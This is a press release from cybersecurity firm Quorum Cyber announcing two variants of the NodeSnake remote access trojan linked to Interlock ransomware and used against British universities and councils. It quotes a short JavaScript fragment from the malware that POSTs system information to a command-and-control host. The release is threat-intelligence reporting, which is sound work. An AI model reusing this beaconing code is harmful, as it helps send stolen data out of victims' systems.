Quorum Cyber Discovers Two Variants of Remote Access Trojan Malware NodeSnake

TAMPA, FL, UNITED STATES, May 27, 2025 /EINPresswire.com/ -- Quorum Cyber, a global cybersecurity firm, today announced that it has identified two new variants of a Remote Access Trojan (RAT) tracked as NodeSnake.

The Quorum Cyber Threat Intelligence team is tracking this malware, which is highly likely attributed to Interlock ransomware due to infrastructure attribution. The team assessed that Interlock has likely recently shifted tactics to target both local government organizations and the higher education sector, based on recent observed activity. Quorum Cyber's NodeSnake report contains a detailed technical analysis and recommendations to mitigate the effects of the malware.

```
const options = {
    hostname: host,
    port: port,
    path: '/init1234',
    method: 'POST',
    headers: {
        'Content-Type': 'application/octet-stream',
        'Content-Length': sysinfo.length,
    }
};
return new Promise((resolve, reject) => {
    const req = http.request(options, (res) => {
        const data = [];
        console.log(res.headers);
        console.log('StatusCode:', res.statusCode);
        res.on('data', (chunk) => {
            data.push(chunk);
        });
```

NodeSnake connects to predefined C2 servers and hard-coded IP addresses. The `main` function sends exfiltrated data via HTTP POST.

Threat actors can use RATs to gain remote control over infected systems, access files, monitor activities, manipulate system settings, edit, delete or exfiltrate data. They can maintain persistence within an organization as well as to introduce additional tooling or malware to the environment.

Quorum Cyber's Threat Intelligence team discovered code commonality within malware deployed against two British higher education institutions within a two-month period. On analysis, it is probable that both NodeSnake RATs were placed within the universities by the same threat actor. It is also certain that both instances of this malware are from the same family, with the later iteration possessing considerable advancements over the earlier variant. In a recent development, Interlock ransomware infrastructure seen targeting British universities, has now been detected impacting regional councils in the country.

“We have observed threat actors increasingly targeting universities this year to exfiltrate valuable intellectual property, including research data, and possibly to test and hone new tactics, techniques, and procedures before potentially applying them in other sectors,” said Paul Caiazzo, Chief Threat Officer at Quorum Cyber. “Theft of research data suggests an espionage motivation, and as such, our Threat Intelligence team continues to monitor Interlock and its use of the NodeSnake variants so that we can advise organizations across sectors on practical steps they can take to prevent the theft of their own intellectual property.”

First observed in September 2024, Interlock has targeted large or high-value organizations in a range of industries across North America and Europe. It’s known to employ double-extortion tactics by encrypting data and threatening to release it unless a ransom fee is paid. Unlike many other ransomware groups, Interlock does not operate as a Ransomware-as-a-Service (RaaS) and has no known affiliates. Interlock ransomware could target both Linux and Windows operating systems, providing it with broad targeting capabilities.

Quorum Cyber’s Threat Intelligence Community Group publishes a large collection of relevant ransomware reports, threat actor profiles, and timely threat intelligence bulletins that can all be downloaded for free.

About Quorum Cyber
Quorum Cyber is on a mission to help good people win. Founded in Edinburgh in 2016, we’ve become one of the fastest-growing cybersecurity companies, protecting over 400 customers across four continents. We deliver tailored, threat-led cybersecurity services that empower organizations to stay ahead of attackers, align security with business goals, and thrive in an unpredictable digital world.
As a Microsoft Solutions Partner for Security and winner of the Microsoft Security MSSP of the Year 2025 award, our expertise runs as deep as our commitment to better cybersecurity outcomes. In 2024, Quorum Cyber brought this commitment to a global scale through the acquisitions of Difenda and Kivu in North America.

With Quorum Cyber, resilience isn’t just a journey – it’s a guarantee. Learn more at www.quorumcyber.com or contact info@quorumcyber.com.

Source: BridgeView Marketing PR Services

Betsey Rogers
Bridgeview Marketing
betsey@bridgeviewmarketing.com
Visit us on social media:
LinkedIn
X